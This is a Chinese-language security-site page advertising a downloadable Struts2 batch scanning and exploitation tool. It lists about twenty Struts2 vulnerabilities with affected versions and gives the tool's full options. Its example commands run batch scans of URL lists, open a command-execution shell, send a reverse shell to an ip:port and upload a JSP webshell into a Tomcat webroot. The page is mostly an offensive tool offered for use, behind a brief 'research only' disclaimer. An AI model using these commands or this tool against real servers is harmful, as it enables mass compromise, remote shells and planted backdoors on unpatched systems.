探索网络安全新技术
攀登黑客技术最高峰

Struts2漏洞批量扫描利用工具(支持全版本)

Struts2漏洞批量扫描利用工具(支持全版本)-威武网安

工具介绍

Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057

支持单个URL漏洞检测和批量URL检测,至此指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持。

运行环境

Python3.6.X及其以上版本

第三方库: click, requests, bs4

测试环境: Ubuntu 16.04

漏洞环境已上传,参考地址:

https://github.com/Medicean/VulApps/tree/master/s/struts2/

https://github.com/vulhub/vulhub/tree/master/struts2

参数说明

Usage: Struts2Scan.py [OPTIONS]

  Struts2批量扫描利用工具

Options:
  -i, --info          漏洞信息介绍
  -v, --version       显示工具版本
  -u, --url TEXT      URL地址
  -n, --name TEXT     指定漏洞名称, 漏洞名称详见info
  -f, --file TEXT     批量扫描URL文件, 一行一个URL
  -d, --data TEXT     POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}
  -c, --encode TEXT   页面编码, 默认UTF-8编码
  -p, --proxy TEXT    HTTP代理. 格式为http://ip:port
  -t, --timeout TEXT  HTTP超时时间, 默认10s
  -w, --workers TEXT  批量扫描进程数, 默认为10个进程
  --header TEXT       HTTP请求头, 格式为: key1=value1&key2=value2
  -e, --exec          进入命令执行shell
  --webpath           获取WEB路径
  -r, --reverse TEXT  反弹shell地址, 格式为ip:port
  --upfile TEXT       需要上传的文件路径和名称
  --uppath TEXT       上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp
  -q, --quiet         关闭打印不存在漏洞的输出,只保留存在漏洞的输出
  -h, --help          Show this message and exit.

漏洞支持

S2-001:影响版本Struts2.0.0-2.0.8;POST请求发送数据;默认参数为:username,password;支持获取WEB路径,任意命令执行和反弹shell
S2-003:影响版本Struts2.0.0-2.0.11.2;GET请求发送数据;支持任意命令执行
S2-005:影响版本Struts2.0.0-2.1.8.1;GET请求发送数据;支持获取WEB路径,任意命令执行
S2-007:影响版本Struts2.0.0-2.2.3;POST请求发送数据;默认参数为:username,password;支持任意命令执行和反弹shell
S2-008:影响版本Struts2.1.0-2.3.1;GET请求发送数据;支持任意命令执行和反弹shell
S2-009:影响版本Struts2.0.0-2.3.1.1;GET请求发送数据,URL后面需要请求参数名;默认为:key;支持任意命令执行和反弹shell
S2-012:影响版本StrutsShowcaseApp2.0.0-2.3.13;GET请求发送数据,参数直接添加到URL后面;默认为:name;支持任意命令执行和反弹shell
S2-013/S2-014:影响版本Struts2.0.0-2.3.14.1;GET请求发送数据;支持获取WEB路径,任意命令执行,反弹shell和文件上传
S2-015:影响版本Struts2.0.0-2.3.14.2;GET请求发送数据;支持任意命令执行和反弹shell
S2-016:影响版本Struts2.0.0-2.3.15;GET请求发送数据;支持获取WEB路径,任意命令执行,反弹shell和文件上传
S2-019:影响版本Struts2.0.0-2.3.15.1;GET请求发送数据;支持获取WEB路径,任意命令执行,反弹shell和文件上传
S2-029:影响版本Struts2.0.0-2.3.24.1(除了2.3.20.3);POST请求发送数据,需要参数;默认参数:message;支持任意命令执行和反弹shell
S2-032:影响版本Struts2.3.20-2.3.28(除了2.3.20.3和2.3.24.3);GET请求发送数据;支持获取WEB路径,任意命令执行和反弹shell
S2-033:影响版本Struts2.3.20-2.3.28(除了2.3.20.3和2.3.24.3);GET请求发送数据;支持任意命令执行和反弹shell
S2-037:影响版本Struts2.3.20-2.3.28.1;GET请求发送数据;支持获取WEB路径,任意命令执行和反弹shell
S2-045:影响版本Struts2.3.5-2.3.31,2.5-2.5.10;POST请求发送数据,不需要参数;支持获取WEB路径,任意命令执行,反弹shell和文件上传
S2-046:影响版本Struts2.3.5-2.3.31,2.5-2.5.10;POST请求发送数据,不需要参数;支持获取WEB路径,任意命令执行,反弹shell和文件上传
S2-048:影响版本Struts2.3.xwithStruts1pluginandStruts1action;POST请求发送数据;默认参数为:username,password;支持任意命令执行和反弹shell
S2-053:影响版本Struts2.0.1-2.3.33,2.5-2.5.10;POST请求发送数据;默认参数为:username,password;支持任意命令执行和反弹shell
S2-devMode:影响版本Struts2.1.0-2.3.1;GET请求发送数据;支持获取WEB路径,任意命令执行和反弹shell

使用示例

单个URL漏洞检测

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action

批量漏洞检测

python3 Struts2Scan.py -f urls.txt

POST数据

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}

指定漏洞名称利用

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 –exec

反弹shll

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 –reverse 192.168.100.8:8888

获取WEB路径

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 –webpath

上传shell

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 –upfile shell.jsp –uppath /usr/local/tomcat/webapps/ROOT/shell.jsp

工具下载

Struts2漏洞批量扫描利用工具

赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《Struts2漏洞批量扫描利用工具(支持全版本)》
文章链接:https://www.wevul.com/1144.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册